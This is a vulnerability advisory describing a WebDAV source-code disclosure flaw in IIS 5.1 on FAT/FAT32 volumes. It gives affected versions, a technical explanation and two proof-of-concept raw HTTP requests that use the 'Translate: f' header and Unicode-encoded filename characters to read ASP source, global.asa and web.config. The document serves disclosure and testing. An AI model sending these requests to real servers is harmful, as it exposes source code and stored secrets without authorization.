IIS 5.1 allows for remote viewing of source code on FAT/FAT32 volumes using WebDAV

It is possible to remotely view the source code of web script files though a specially crafted WebDAV HTTP request. Only IIS 5.1 seems to be vulnerable. The web script file must be on a FAT or a FAT32 volume, web scripts located on NTFS volumes are not vulnerable.

Confirmed vulnerable
-Microsoft® Internet Information Server® V5.1:
a. Microsoft® Windows® XP Pro. with SP2(English)
b. Microsoft® Windows® XP Pro. with SP2(Norwegian)
c. Microsoft® Windows® XP Pro. with SP1(Swedish)

Confimed not vulnerable
-Microsoft® Internet Information Server® V5.0:
a. Microsoft® Windows® 2000 Server with SP4(English)
-Microsoft® Internet Information Server® V6.0:
a. Microsoft® Windows® 2003 Standard(English)

Vendor status
Notified

Solution
Don't use FAT or FAT32 with IIS 5.1

Techical description
WebDAV allows for retrieving streams using the "Translate: f" HTTP header, the processing of this header has logic built into it so that web script files are not processed, this logic can be avoided by using Unicode characters instead in one of the letters of the file.The file must be on a FAT or FAT32 volume to be viewed, a NTFS volume will return a"Forbidden" HTTP response instead.

Proof of Concept #1
I have used the server "www.yourserver.xom" here, replace with your own server name.
1. Format a volume as FAT or FAT32, or use an existing one
2. Create a folder called "www"
3. Add a new ASP file called "test.asp" in "www"
4. Add this code line "<%=Response.write("Hello World")%>" in "test.asp"
5. Create a new virtual folder in IIS 5.1 and map it agains the folder you made in step 2
6. Open a browser and navigate to "http://www.yourserver.xom/www/test.asp" and confirm
that the text "Hello world" is returned and not the script code.
7. Open a MSDOS console
8. Type "telnet www.yourserver.xom 80" and hit ENTER
9. Paste the following text block or type it manually:
GET /www/test.as%CF%80 HTTP/1.1
Translate: f
Host: www.yourserver.xom
Connection: Close
10. Hit ENTER twize to signal end of HTTP request
11. You should see "<%=Response.write("Hello World")%>" beeing returned

Proof of Concept #2
Shows the source of /global.asa:
GET /global.%C4%80sa HTTP/1.1
Translate: f
Host: localhost
Connection: Close

Shows the XML in /web.config:
GET /web.%c4%89onfig HTTP/1.1
Translate: f
Host: localhost
Connection: Close